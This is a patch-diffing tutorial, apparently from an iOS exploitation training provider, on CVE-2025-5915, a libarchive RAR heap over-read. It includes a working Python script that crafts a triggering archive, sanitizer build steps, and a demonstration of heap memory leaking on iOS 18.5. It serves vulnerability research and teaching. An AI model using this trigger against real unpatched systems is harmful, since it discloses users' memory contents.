CVE-2025-5915 is a heap buffer over-read in libarchive, the archive-handling library that ships as part of iOS and macOS. On Apple platforms it lives in the dyld shared cache as libarchive.2.dylib, and a long tail of third-party apps (file managers, unarchivers, backup clients, anything that opens a .zip, .tar, .rar or .7z) either link against it or bundle their own copy.
That makes it a high-value target. An archive is attacker-controlled data that users routinely open without thinking: an email attachment, an AirDrop, a file downloaded in Safari and tapped in Files.app. Any memory-safety bug in the code that parses it is reachable from a file the attacker fully controls.
The bug was found and reported to libarchive by JJLeo in issue #2565 on 5 April 2025, crediting research by Yifan Zhang of PLL at Peking University.
In this article we are going to work out what CVE-2025-5915 actually is by patch diffing: starting from the commit that fixed it and reasoning backwards to the vulnerability. Then we will prove the analysis was right by crashing the vulnerable code, first on the desktop and then on a real iPhone.
Patch diffing is the entry point to most vulnerability research. When a project publishes a fix, it also publishes a precise description of what was broken, if you know how to read it. That skill is what turns a CVE identifier into an understanding you can build on.
copy_from_lzss_window)a612bf62, released in 3.8.0)libarchive 3.7.4; 18.6 quietly backports the fix.Patch diffing, building sanitizer harnesses, and reproducing a memory-safety bug on a real iPhone is exactly what you practice in iOS Userland Fuzzing & Exploitation: AFL++/LibAFL, LLDB, and 0-click exploit development against real Apple targets on a Corellium iPhone.
Explore the iOS Userland Fuzzing course →This is an introductory walkthrough. We will:
This article is aimed at beginners getting started with Vulnerability Research. You will need a Mac with Xcode and CMake, plus a jailbroken iPhone with SSH for the on-device part. You can also make use of the virtual devices we provide in our labs.
Start by making a working directory and cloning upstream into it:
mkdir cve-2025-5915
cd cve-2025-5915
git clone https://github.com/libarchive/libarchive.git src
cd src
The CVE tells us it was fixed in 3.8.0. That is a whole release, containing hundreds of commits, so we need to narrow it down. Since we know the bug is a heap overflow in the RAR reader, we can search the log:
git log --oneline --grep=heap-buffer-overflow
a612bf62 is our commit. Let us confirm it lands where the CVE says it does:
in 3.8.0
Vulnerable through 3.7.9, fixed in 3.8.0, exactly matching the advisory.
Look at what the commit touched:
git show --stat a612bf62
The last file, test_read_format_rar_overflow.rar.uu, is a regression test asset: a 328-byte RAR that triggers the bug, committed alongside the fix so it cannot come back unnoticed. Security fixes often ship one, and it is worth knowing they are there.
We are going to build our own trigger instead, from what the patch tells us. It is the more useful exercise, and the reasoning carries over to targets that do not hand you a crash file.
Patch diffing means taking a security fix and reasoning backwards from it to understand the vulnerability. The fix tells you what the developers thought was wrong; your job is to work out why the old code was dangerous.
git show a612bf62 -- libarchive/archive_read_support_format_rar.c
That command prints seven separate hunks, and this is where most people get stuck. A security commit almost never contains only the security fix. This one contains:
void *buffer becoming uint8_t *buffer.return (ARCHIVE_FATAL) statements rewritten as goto bad_data.memcpy call.Only one of those is the vulnerability. Four techniques will tell you which, and they are worth internalising because they work on almost any patch.
Look for an added check. Memory-safety fixes overwhelmingly take one shape: a new condition that refuses to continue, if (a > b) return. Changes that move code around, adjust types, or restructure control flow are usually supporting changes. Here, item 1 exists only so the pointer arithmetic in item 3 compiles, and item 2 routes error paths through a cleanup label. Both are housekeeping. That leaves items 3 and 4 as real candidates.
Match the diff against the words in the advisory. The CVE text says the bug is "the size of a filter block potentially exceeding the LZSS window". Treat that as two nouns to hunt for: a filter block size and a window size. Only one hunk in the entire commit mentions both, and it compares them directly.
Ask which change, reverted on its own, brings the bug back. Undo the goto conversions and libarchive still reads out of bounds. Undo the bounds check and it does so immediately. That is a decisive test, and you can actually run it.
Read the test the commit ships. Developers rarely explain a vulnerability in the commit message, but the regression test states the expected behaviour precisely:
assertEqualInt(48, archive_entry_size(ae));
/* The next call should reproduce Issue #2565 */
assertEqualIntA(a, ARCHIVE_FATAL, archive_read_data_block(a, &buff, &size, &offset));
Two gifts in four lines. The entry declares an uncompressed size of 48 bytes, which is the value that shrinks the decompression window, and reading its data must now fail with ARCHIVE_FATAL rather than succeeding. It even gives you an issue number to go and read.
That issue is #2565, the original report. It already names the function we are about to arrive at, copy_from_lzss_window, and carries an AddressSanitizer trace showing a 188-byte read out of a 64-byte allocation. Those two numbers are what upstream's own trigger produces.
With that, here is the hunk that matters:
A single added bounds check in parse_filter(). Two variables matter:
blocklength is how many bytes a filter wants to process. RAR v4 supports small bytecode "filters" that post-process decompressed data, and the filter declares its own block length. It comes from the archive, so an attacker controls it.rar->dictionary_size is the size of the LZSS window, the sliding history buffer the decompressor copies matches out of.Before the fix, nothing tied these two together. Now find where the window is allocated, in parse_codes():
grep -n "new_window = realloc" -B 10 -A 6 libarchive/archive_read_support_format_rar.c
The window is sized from unp_size, the declared uncompressed size of the entry, which is also attacker-controlled and comes straight out of the archive header. A small declared size produces a small window.
This is where the 48 from the regression test pays off. rar_fls() returns the highest power of two not greater than its argument, so for our trigger:
unp_size = 48 (the value the test asserts)
rar_fls(48) = 32 (highest power of two <= 48)
new_size = 32 << 1 = 64 (the LZSS window allocation)
A declared size of 48 buys a 64-byte window. Declare something smaller and you get a smaller window. Nothing checks that figure against how much data the entry really produces.
Now follow blocklength to where it is used, in copy_from_lzss_window():
memcpy(buffer, &rar->lzss.window[windowoffs], length);
length derives from blocklength. Nothing has checked it against the size of rar->lzss.window.
That is the bug. Two independently attacker-controlled values with no relationship enforced between them:
unp_size, straight out of the file header, sets how big the window isblocklength, carried in the compressed stream, sets how much gets copied out of itMake the second larger than the first and memcpy reads straight off the end of the allocation and into whatever the allocator happened to put there. That is the "heap buffer over-read", and it is why the CVE lists information disclosure from adjacent memory alongside denial of service.
Note what this gives us. The over-read is not a fixed quantity, it is blocklength - dictionary_size, and we influence both terms. Hold on to that; in Step 4 it becomes the dial we use to decide how much memory to leak.
The same patch fixes a separate wrap-around defect a few lines down:
if (firstpart < length) {
memcpy(buffer, &rar->lzss.window[windowoffs], firstpart);
- memcpy(buffer, &rar->lzss.window[0], length - firstpart);
+ memcpy(buffer + firstpart, &rar->lzss.window[0], length - firstpart);
When a copy wraps around the end of the circular window, the second memcpy was writing back to the start of buffer, clobbering what the first copy had just written, instead of appending at buffer + firstpart. The signature change from void *buffer to uint8_t *buffer in the same commit exists purely to make that pointer arithmetic legal.
The remaining hunks convert several return (ARCHIVE_FATAL) statements into goto bad_data, so error paths unwind through the function's cleanup block rather than leaving the decompressor in a half-initialised state.
To see a memory error rather than infer it, we build with AddressSanitizer (ASan). ASan surrounds every heap allocation with poisoned "redzones" and checks each memory access against a shadow map. Without it, reading off the end of a heap buffer often does nothing visible at all, because the bytes are usually still inside a mapped page, so the CPU raises no fault and the program carries on with silently wrong data. ASan is what turns that invisible corruption into a loud, precise report.
Use git worktree to check out both sides of the fix simultaneously. Run this from inside src, where you have been working so far:
git worktree add ../rar-vuln a612bf62^
git worktree add ../rar-fixed a612bf62
The ^ suffix means "the parent of this commit", which is the last vulnerable state of the tree.
Note the ../ in those paths. The worktrees are created next to src, not inside it, so your layout is now:
cve-2025-5915/
├── benign_filter.rar the legitimate archive we will modify
├── src/ the clone you have been working in
├── rar-vuln/ worktree at a612bf62^ (vulnerable)
└── rar-fixed/ worktree at a612bf62 (fixed)
Everything from here on runs from cve-2025-5915/, so step back up and stay there:
cd ..
You need two bsdtar binaries: one built from the vulnerable tree and one from the fixed tree. The whole reproduction depends on running the same file through both, so do not skip the second build.
cmake -S rar-vuln -B rar-vuln/b -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DENABLE_TEST=OFF -DBUILD_SHARED_LIBS=OFF -DENABLE_OPENSSL=OFF -DENABLE_LIBXML2=OFF -DENABLE_EXPAT=OFF -DENABLE_ICONV=OFF -DENABLE_LZ4=OFF -DENABLE_ZSTD=OFF
cmake --build rar-vuln/b --target bsdtar --parallel 8
Exactly the same two commands, with rar-vuln swapped for rar-fixed everywhere:
cmake -S rar-fixed -B rar-fixed/b -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" -DENABLE_TEST=OFF -DBUILD_SHARED_LIBS=OFF -DENABLE_OPENSSL=OFF -DENABLE_LIBXML2=OFF -DENABLE_EXPAT=OFF -DENABLE_ICONV=OFF -DENABLE_LZ4=OFF -DENABLE_ZSTD=OFF
cmake --build rar-fixed/b --target bsdtar --parallel 8
Disabling the optional codecs keeps the build fast and dependency-free; none of them are involved in the bug.
Before moving on, confirm both binaries exist:
ls -l rar-vuln/b/bin/bsdtar rar-fixed/b/bin/bsdtar
If the second path reports No such file or directory, the fixed build did not run. Go back and run the Binary 2 commands. You will need it in the next step.
The patch gives the crash condition as a single inequality:
if (blocklength > rar->dictionary_size)
return 0;
Any file that makes that true will crash a pre-3.8.0 libarchive. Both sides come from the archive, but they are not equally easy to reach.
dictionary_size is straightforward. Step 2 showed it comes from unp_size:
new_size = rar_fls((unsigned int)rar->unp_size) << 1;
unp_size is the entry's declared uncompressed size, a 4-byte little-endian integer sitting in the RAR file header, and nothing checks it against how much data the entry really produces. We can set it to anything.
blocklength is harder. It is emitted by a RAR VM filter program encoded inside the compressed stream, so producing one from scratch would mean writing a RAR compressor. Instead, borrow one. Any archive that already uses a filter carries a blocklength, and libarchive's test suite ships several:
git show a612bf62:libarchive/test/test_read_format_rar_filter.rar.uu | uudecode -p > ../benign_filter.rar
That archive is legitimate and extracts cleanly on both builds. Its filter asks for a 65536-byte block against a 262144-byte window, so the inequality is false by a wide margin.
Which gives us the approach: leave the filter alone and shrink the window under it. Drop unp_size far enough and 65536 > dictionary_size becomes true.
Editing unp_size by hand does not work, because every RAR block header carries a CRC16 over itself. Change a byte and libarchive rejects the file with Header CRC error before the decompressor sees anything. The script has to rewrite the field and repair the checksum.
RAR v4 blocks are laid out like this, relative to the start of each block:
offset 0 HEAD_CRC 2 bytes low 16 bits of crc32 over header[2:HEAD_SIZE]
offset 2 HEAD_TYPE 1 byte 0x73 = archive header, 0x74 = file header
offset 3 HEAD_FLAGS 2 bytes
offset 5 HEAD_SIZE 2 bytes length of this header
offset 7 ADD_SIZE 4 bytes present when HEAD_FLAGS & 0x8000, size of the
data body that follows the header
Start with a walker. The file opens with a 7-byte signature, and each block tells you how far the next one is: HEAD_SIZE, plus ADD_SIZE when the long block flag is set.
MARKER = b"Rar!\x1a\x07\x00"
def walk(data):
pos = len(MARKER)
while pos + 11 <= len(data):
htype = data[pos + 2]
flags, hsize = struct.unpack_from("<HH", data, pos + 3)
if hsize < 7 or pos + hsize > len(data):
break
yield pos, htype, hsize, flags
advance = hsize
if flags & 0x8000:
advance += struct.unpack_from("<I", data, pos + 7)[0]
pos += advance
Next, the field. unp_size lives at offset 11 inside a file header, after PACK_SIZE. Find the first block of type 0x74 and overwrite it:
for pos, htype, hsize, flags in walk(data):
if htype == 0x74:
struct.pack_into("<I", out, pos + 11, new_unp_size)
break
Then repair the checksums. The CRC covers the header from offset 2 to HEAD_SIZE, and it is the low 16 bits of a standard CRC-32:
for pos, htype, hsize, flags in walk(bytes(out)):
crc = binascii.crc32(bytes(out[pos + 2:pos + hsize])) & 0xFFFF
struct.pack_into("<H", out, pos, crc)
Walk the chain a second time for this, after the edit, so the recomputed CRC covers the modified header.
Finally, work out what the result should do, so the script states a prediction you can check against AddressSanitizer:
def rar_fls(x):
p = 1
while p * 2 <= x:
p *= 2
return p
window = rar_fls(new_unp_size) << 1
print(f"over-read should be 65536 - {window} = {65536 - window} bytes")
The whole script:
#!/usr/bin/env python3
"""
Build a CVE-2025-5915 trigger from scratch, using only what the patch tells us.
The fix (libarchive commit a612bf62) adds a single bounds check to parse_filter():
if (blocklength > rar->dictionary_size)
return 0;
So the crash condition is exactly:
blocklength > dictionary_size
Two values, and we control both from the archive:
dictionary_size is the LZSS window. parse_codes() sizes it from unp_size,
the entry's *declared* uncompressed size, a plain 4-byte
field in the RAR file header:
new_size = rar_fls(unp_size) << 1
blocklength is how many bytes a RAR VM filter asks to copy out of that
window. It is emitted by the filter program encoded inside
the compressed stream, not a header field.
Authoring a RAR VM filter by hand would mean writing a RAR compressor. We do
not need to. Any archive that already uses a filter has a blocklength baked in.
So we take a benign filter-using archive and shrink the window underneath it
until the inequality holds.
Every RAR block header carries a CRC16 over itself, so after editing unp_size
we have to repair the checksum or libarchive rejects the file with
"Header CRC error" before the decompressor ever runs.
Usage:
./make_poc.py <benign-filter.rar> <output.rar> [unp_size]
"""
import binascii
import struct
import sys
MARKER = b"Rar!\x1a\x07\x00"
LONG_BLOCK = 0x8000
FILE_HEAD = 0x74
# Offsets inside a RAR v4 block header, relative to the start of the block.
OFF_CRC, OFF_TYPE, OFF_FLAGS, OFF_HSIZE = 0, 2, 3, 5
OFF_PACKSIZE, OFF_UNPSIZE = 7, 11
def rar_fls(x):
"""Highest power of two not greater than x. Mirrors libarchive's rar_fls()."""
p = 1
while p * 2 <= x:
p *= 2
return p
def walk(data):
"""Yield (offset, type, header_size, flags) for each RAR v4 block."""
if not data.startswith(MARKER):
raise SystemExit("not a RAR v4 archive (bad signature)")
pos = len(MARKER)
while pos + 11 <= len(data):
htype = data[pos + OFF_TYPE]
flags, hsize = struct.unpack_from("<HH", data, pos + OFF_FLAGS)
if hsize < 7 or pos + hsize > len(data):
break
yield pos, htype, hsize, flags
advance = hsize
if flags & LONG_BLOCK:
advance += struct.unpack_from("<I", data, pos + OFF_PACKSIZE)[0]
if advance <= 0:
break
pos += advance
def fix_header_crcs(data):
"""Recompute the CRC16 on every block header."""
out = bytearray(data)
for pos, _htype, hsize, _flags in walk(bytes(out)):
crc = binascii.crc32(bytes(out[pos + 2:pos + hsize])) & 0xFFFF
struct.pack_into("<H", out, pos + OFF_CRC, crc)
return bytes(out)
def main():
if len(sys.argv) < 3:
sys.exit(__doc__.strip().splitlines()[-1])
src, dst = sys.argv[1], sys.argv[2]
new_unp = int(sys.argv[3]) if len(sys.argv) > 3 else 16
data = open(src, "rb").read()
# Locate the first file header and its unp_size field.
target = None
for pos, htype, hsize, flags in walk(data):
kind = {0x73: "MAIN_HEAD", 0x74: "FILE_HEAD"}.get(htype, hex(htype))
line = f" block @ 0x{pos:04x} type={kind:<10} hsize={hsize}"
if htype == FILE_HEAD:
packed, unp = struct.unpack_from("<II", data, pos + OFF_PACKSIZE)
line += f" pack_size={packed} unp_size={unp}"
if target is None:
target = (pos + OFF_UNPSIZE, unp)
print(line)
if target is None:
sys.exit("no file header found")
unp_off, old_unp = target
old_win = rar_fls(old_unp) << 1 if old_unp else 0
new_win = rar_fls(new_unp) << 1 if new_unp else 0
print()
print(f"unp_size field at offset 0x{unp_off:02x}")
print(f" before : unp_size={old_unp:<10} window={old_win}")
print(f" after : unp_size={new_unp:<10} window={new_win}")
print()
out = bytearray(data)
struct.pack_into("<I", out, unp_off, new_unp)
out = fix_header_crcs(bytes(out))
open(dst, "wb").write(out)
print(f"wrote {dst} ({len(out)} bytes)")
print()
print("The filter in this archive asks for a 65536-byte block, so the")
print(f"over-read should be 65536 - {new_win} = {65536 - new_win} bytes")
print("past the end of the window allocation.")
if __name__ == "__main__":
main()
Run it:
python3 make_poc.py ../benign_filter.rar ../poc.rar 16
unp_size sits at 0x1f in this archive rather than the 0x12 a minimal RAR would use, because a real archive has a MAIN_HEAD block before the file header. Hence the walker rather than a hard-coded offset.
Every number came from the patch: the inequality from the added bounds check, the window formula from parse_codes(), and the 65536 from the filter already present in the archive.
Extract the archive rather than listing it. bsdtar -tf only walks headers and prints filenames, and the vulnerable code sits in the decompressor, which runs when data is unpacked. Listing the trigger prints one line and exits.
mkdir out && cd out
ASAN_OPTIONS=detect_leaks=0 ../rar-vuln/b/bin/bsdtar -xf ../poc.rar
Compare that against what make_poc.py predicted before we ran anything:
READ of size 65504 is exactly 65536 - 32, the filter's block length minus the window we shrank.0 bytes after 32-byte region is the window itself. We set unp_size=16, and rar_fls(16) << 1 = 32.allocated by ... realloc ... parse_codes is the allocation site we traced in Step 2.in copy_from_lzss_window is the memcpy we predicted.65,504 bytes of adjacent heap, read out of bounds. Every number here was derivable from the patch before running anything.
Now the control. Same file, fixed build:
../rar-fixed/b/bin/bsdtar -xf ../poc.rar
No crash. The blocklength > rar->dictionary_size check rejects the archive before the copy runs. Same input, same command, and the patch is the only difference between the two builds.
The leak size is a parameter. unp_size sets the window, and the over-read is whatever remains of the filter's 65536-byte block:
for u in 16 64 256 4096; do python3 ../make_poc.py ../benign_filter.rar ../p_$u.rar $u; done
unp_size | window | predicted over-read | ASan reported |
|---|---|---|---|
| 16 | 32 | 65504 | 65504 |
| 64 | 128 | 65408 | 65408 |
| 256 | 512 | 65024 | 65024 |
| 4096 | 8192 | 57344 | 57344 |
The reported over-read matches the prediction in all four cases. Upstream's test_read_format_rar_overflow.rar declares unp_size=48, which gives a 64-byte window and a 124-byte over-read.
CVE-2025-5915 was filed against libarchive, not against any operating system that ships it, and at the time of writing there is no public analysis of whether it reaches iOS. Apple keeps its own copy of libarchive in the dyld shared cache, patched on Apple's schedule rather than upstream's, so the answer is not implied by the CVE record either way.
We tested it. iOS 18.5 shipped a vulnerable libarchive, and Apple fixed it in 18.6 by backporting the upstream patch without changing the version string. This section covers both halves: first running our own instrumented build on iOS to confirm the bug behaves the same way on arm64, then checking Apple's system library across several releases.
Step 5 left you inside out/, so step back up to cve-2025-5915/ first:
cd ..
CMake supports iOS as a target directly:
cmake -S rar-vuln -B rar-vuln/iosasan -DCMAKE_SYSTEM_NAME=iOS -DCMAKE_OSX_ARCHITECTURES=arm64 -DCMAKE_OSX_DEPLOYMENT_TARGET=14.0 -DCMAKE_MACOSX_BUNDLE=OFF -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=OFF -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address -Wl,-rpath,@executable_path" -DENABLE_TEST=OFF -DENABLE_TAR=ON -DENABLE_OPENSSL=OFF -DENABLE_LIBXML2=OFF -DENABLE_EXPAT=OFF -DENABLE_ICONV=OFF -DENABLE_LZ4=OFF -DENABLE_ZSTD=OFF -DENABLE_LZMA=OFF -DENABLE_BZip2=OFF -DENABLE_CNG=OFF
cmake --build rar-vuln/iosasan --target bsdtar --parallel 8
Two flags are easy to miss:
-DCMAKE_MACOSX_BUNDLE=OFF, without which CMake tries to build bsdtar as an app bundle and the configure step fails with "INSTALL TARGETS given no BUNDLE DESTINATION".-Wl,-rpath,@executable_path, because ASan on iOS is a dynamic library. The binary must be able to find it next to itself at runtime.Unlike macOS, iOS has no system copy of the sanitizer runtime, so we carry it along:
cp "$(xcode-select -p)/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/21/lib/darwin/libclang_rt.asan_ios_dynamic.dylib" .
Copy the trigger and the tools over:
ssh root@10.11.1.1 'mkdir -p /var/root/cve5915'
scp poc.rar benign_filter.rar ent.plist root@10.11.1.1:/var/root/cve5915/
scp has a habit of dropping the executables with Connection closed. Pipe them through stdin instead:
base64 -i syslib_probe | ssh root@10.11.1.1 'base64 -d > /var/root/cve5915/syslib_probe'
The flags differ by side. macOS base64 reads a file with -i, while the device runs GNU coreutils and decodes with -d. Passing -D there fails silently and leaves a zero-byte file, so check with ls -l afterwards.
Unsigned binaries are killed at launch with exit 137 and no output at all, which looks like the program doing nothing. They need entitlements, in ent.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>platform-application</key><true/>
<key>com.apple.private.security.no-container</key><true/>
<key>get-task-allow</key><true/>
</dict></plist>
ssh root@10.11.1.1 'cd /var/root/cve5915 && chmod +x syslib_probe && ldid -Sent.plist syslib_probe'
The ASan build needs two extra things. The runtime cannot live in /var/root: the sandbox refuses to mmap() a dylib from there regardless of signature, and you get Library not loaded: @rpath/libclang_rt... with file system sandbox blocked mmap(). Put the binary and the runtime somewhere trusted such as /usr/bin, since the link uses -rpath,@executable_path and they have to sit together. They also need signing differently: the executable takes the entitlements, the dylib must be signed without them or AMFI rejects it.
base64 -i rar-vuln/iosasan/bin/bsdtar | ssh root@10.11.1.1 'base64 -d > /usr/bin/bsdtar-asan'
base64 -i libclang_rt.asan_ios_dynamic.dylib | ssh root@10.11.1.1 'base64 -d > /usr/bin/libclang_rt.asan_ios_dynamic.dylib'
ssh root@10.11.1.1 'chmod +x /usr/bin/bsdtar-asan && ldid -S /usr/bin/libclang_rt.asan_ios_dynamic.dylib && ldid -S/var/root/cve5915/ent.plist /usr/bin/bsdtar-asan'
Then run it:
cd /var/root/cve5915 && mkdir -p x && cd x
ASAN_OPTIONS=detect_leaks=0 /usr/bin/bsdtar-asan -xf ../poc.rar
The same finding as on the desktop, on arm64. If something goes wrong, the usual causes:
| symptom | cause |
|---|---|
| exit 137, no output | not signed, or signed without platform-application |
scp: Connection closed | use the base64 pipe |
| zero-byte file after transfer | used base64 -D on the device, it wants -d |
Parsing filters is unsupported | iOS 18.0 or older, libarchive 3.5.3, not affected |
Bad RAR file data | device is patched, iOS 18.6 or later |
Library not loaded: @rpath/libclang_rt… | ASan binary must run from /usr/bin, not /var/root |
The run above used our build. Apple's copy is the one that matters for anything shipping on a device, and its version number does not settle the question: libarchive 3.7.4 sits inside the affected range, but Apple backports fixes without changing version strings, so the number tells you nothing on its own.
We checked the code instead, and found iOS 18.5 shipping libarchive 3.7.4 with the bounds check missing.
You do not need a device to check a release. ipsw pulls the dyld shared cache straight out of a remote IPSW:
ipsw download ipsw --device iPhone15,2 --version 18.5 --dyld --dyld-arch arm64e --confirm
The version string is a grep away, since the cache is just bytes:
LC_ALL=C grep -aoh "libarchive 3\.[0-9][0-9.]*" dyld_shared_cache_arm64e*
libarchive 3.7.4
In range, so we need the function itself. parse_filter is static, but the cache ships local symbols. Watch out for the fact that libarchive defines two functions with that name, one in the RAR v4 reader and one in RAR5. The one we want sits next to parse_codes and copy_from_lzss_window:
ipsw dyld symaddr dyld_shared_cache_arm64e --image /usr/lib/libarchive.2.dylib | grep parse_filter
ipsw dyld disass dyld_shared_cache_arm64e --vaddr 0x1e52bf1fc
Do the same for 18.6 and diff the two. The later build has ten instructions the earlier one does not:
ldur x9, [fp, #-0x68] ; the rar struct
ldr w9, [x9, #0xe8] ; a 32-bit field at +0xe8
ldr w8, [sp, #0x44] ; blocklength
subs w8, w8, w9 ; compare the two
b.ls LBL ; skip ahead if blocklength <= field
stur wzr, [fp, #-0x44] ; otherwise return 0
That is if (blocklength > rar->dictionary_size) return 0; compiled. To confirm +0xe8 really is dictionary_size, look at where parse_codes writes it, immediately after the allocation that creates the window:
0x1e52bbda0: bl _malloc_type_realloc_stub
0x1e52bbde8: str w8, [x9, #0xe8] ; rar->dictionary_size = new_size
iOS 18.5 does not have the check. iOS 18.6 does. The timing lines up: libarchive 3.8.0 carried the fix upstream on 20 May 2025, and iOS 18.5 shipped on 12 May, eight days earlier, so there was no fix in existence for Apple to take. They picked it up in 18.6.
Static analysis is worth checking against a running system, so we put an iOS 18.5 instance up on Corellium and asked the system library directly.
syslib_probe.c links against /usr/lib/libarchive.2.dylib the same way any app would, prints the version, and pushes an archive through the full read path. Draining each entry's body is the part that matters, since the vulnerable code is in the decompressor and only runs when data is unpacked. Given a second argument it also writes the decompressed bytes out, which we use further down.
/*
* syslib_probe: drive an archive through libarchive and report what happened.
*
* Links against the system library, so on iOS this is Apple's
* /usr/lib/libarchive.2.dylib. The iOS SDK ships libarchive.2.tbd, so -larchive
* is enough:
*
* xcrun --sdk iphoneos clang -arch arm64 -miphoneos-version-min=12.0 \
* -isysroot "$(xcrun --sdk iphoneos --show-sdk-path)" \
* -Isrc/libarchive -o syslib_probe syslib_probe.c -larchive
*
* Usage:
* ./syslib_probe print the library version
* ./syslib_probe a.rar parse it, report the outcome
* ./syslib_probe a.rar out.bin also write the decompressed bytes
*
* Exit codes:
* 0 archive read to completion
* 3 ARCHIVE_FATAL or a data error
* 4 could not open the archive
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <archive.h>
#include <archive_entry.h>
int main(int argc, char **argv)
{
struct archive *a;
struct archive_entry *ae;
FILE *out = NULL;
char buf[65536];
size_t total = 0;
int entries = 0, r;
la_ssize_t n;
printf("archive_version_string : %s\n", archive_version_string());
printf("archive_version_number : %d\n", archive_version_number());
if (argc < 2) {
printf("(no archive given, version probe only)\n");
return 0;
}
a = archive_read_new();
archive_read_support_filter_all(a);
archive_read_support_format_all(a);
if (archive_read_open_filename(a, argv[1], 10240) != ARCHIVE_OK) {
printf("open failed: %s\n", archive_error_string(a));
archive_read_free(a);
return 4;
}
if (argc > 2 && (out = fopen(argv[2], "wb")) == NULL) {
perror("fopen");
archive_read_free(a);
return 4;
}
for (;;) {
r = archive_read_next_header(a, &ae);
if (r == ARCHIVE_EOF)
break;
if (r == ARCHIVE_FATAL) {
printf("RESULT: ARCHIVE_FATAL after %d entries: %s\n",
entries, archive_error_string(a));
if (out) fclose(out);
archive_read_free(a);
return 3;
}
entries++;
if (out)
printf("entry: %s (declared size %lld)\n",
archive_entry_pathname(ae),
(long long)archive_entry_size(ae));
/*
* Draining the entry body is what makes this useful: the
* vulnerable code is in the decompressor, and it only runs when
* the data is actually unpacked.
*/
while ((n = archive_read_data(a, buf, sizeof(buf))) > 0) {
if (out)
fwrite(buf, 1, (size_t)n, out);
total += (size_t)n;
}
if (n < 0) {
printf("RESULT: data error after %d entries: %s\n",
entries, archive_error_string(a));
if (out) {
fclose(out);
printf("wrote %zu bytes to %s\n", total, argv[2]);
}
archive_read_free(a);
return 3;
}
}
printf("RESULT: read %d entries, no fatal error\n", entries);
if (out) {
fclose(out);
printf("wrote %zu bytes to %s\n", total, argv[2]);
}
archive_read_free(a);
return 0;
}
Build it against the SDK's libarchive.2.tbd:
xcrun --sdk iphoneos clang -arch arm64 -miphoneos-version-min=12.0 -isysroot "$(xcrun --sdk iphoneos --show-sdk-path)" -Isrc/libarchive -o syslib_probe syslib_probe.c -larchive
xcrun otool -L syslib_probe | grep archive should report /usr/lib/libarchive.2.dylib, confirming it resolves to the system copy at runtime instead of linking a local build.
First, what to look for. Building the probe against upstream 3.7.4 and against the fix gives two different messages for the same input:
upstream 3.7.4, unpatched : RESULT: data error after 1 entries: File CRC error
a612bf62, patched : RESULT: data error after 1 entries: Bad RAR file data
Bad RAR file data is the patched library refusing the archive before the copy, which is the bounds check firing. File CRC error means the copy went ahead: libarchive read past the window, mixed whatever was next to it into the decompressed output, and only noticed at the end when the entry checksum did not match.
On the device:
./syslib_probe poc.rar
The unpatched signature, from Apple's own libarchive. As a control, the unmodified benign_filter.rar reads through the same library with no error, so filter support is present and reachable and it is our archive specifically that is mishandled.
The over-read pulls heap bytes into the decompressed stream, so what libarchive returns should not match the file the archive actually contains. Dump both and compare:
./syslib_probe poc.rar leaked.bin
./syslib_probe benign_filter.rar real.bin
head -c 65536 real.bin > real64k.bin
cmp -l real64k.bin leaked.bin | wc -l
58762
Nearly 59,000 of 65,536 bytes are not the file. The archive holds a Windows PE, which opens the way every PE does:
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
00000060: 7420 6265 2072 756e 2069 6e20 444f 5320 t be run in DOS
What the trigger produces instead: no MZ, no DOS stub, none of the file. Those bytes came off the heap next to the undersized window, and libarchive handed them back as archive contents. That is the information disclosure the CVE describes, on a shipping iOS release.
Nothing segfaults here, because real malloc has mapped neighbours and a 57KB over-read stays inside valid pages. That is why the ASan build earlier in this step matters, and why relying on crashes to find these bugs misses most of them. Showing that the output is full of heap data is one thing; choosing which heap data would mean arranging for something interesting to sit next to that allocation, which is heap grooming and where a crash starts becoming an exploit.
We built the file with a script, so it is worth opening it in a hex editor and checking the script did what it claimed. A RAR archive is data rather than code, so we use radare2 as a structured viewer rather than a disassembler:
r2 poc.rar
The first seven bytes are the RAR v4 signature, Rar!\x1a\x07\x00. After that come the block headers. Seek to the file header at 0x14 and lay a format over it rather than counting bytes by hand:
s 0x14
pf n2n1n2n2n4n4 head_crc head_type head_flags head_size pack_size unp_size
n2 and n4 are 2- and 4-byte little-endian numbers, n1 a single byte. head_type = 116 is 0x74, the file header, and unp_size = 16 is our edit, sitting at offset 0x1f exactly where the script said it put it.
We started with nothing but a CVE identifier and finished with a precise understanding of the bug, confirmed by a crash.
Working backwards from commit a612bf62 told us which of its seven hunks was the security fix and which two attacker-controlled values were never checked against each other. That was enough to state the crash condition as an inequality, blocklength > dictionary_size, and then go and build a file that satisfies it: shrink an existing archive's declared size until the window no longer fits the filter that was already inside it, and repair the header checksum so libarchive would accept the edit.
AddressSanitizer then reported exactly the over-read we had predicted before running it, 65,504 bytes, on macOS and again on an iPhone. The leak size is a parameter too, adjustable from 57KB to 65KB by changing a single integer in the header.
The same understanding is what let us answer a question the CVE record does not: whether this reaches iOS. The version string is no help, since iOS 18.5 and 18.6 both report libarchive 3.7.4 and only 18.5 is exploitable. Settling it meant pulling parse_filter out of the shared cache and looking for the compare instruction, then confirming the result on a device, and knowing what to look for came from the patch.
That is what patch diffing buys you. Going forward, you can learn more about fuzzing and exploit development in our course iOS Userland Fuzzing & Exploitation, where we explain how to fuzz and exploit such vulnerabilities in depth.
a612bf62, "rar: Fix heap-buffer-overflow (#2599)"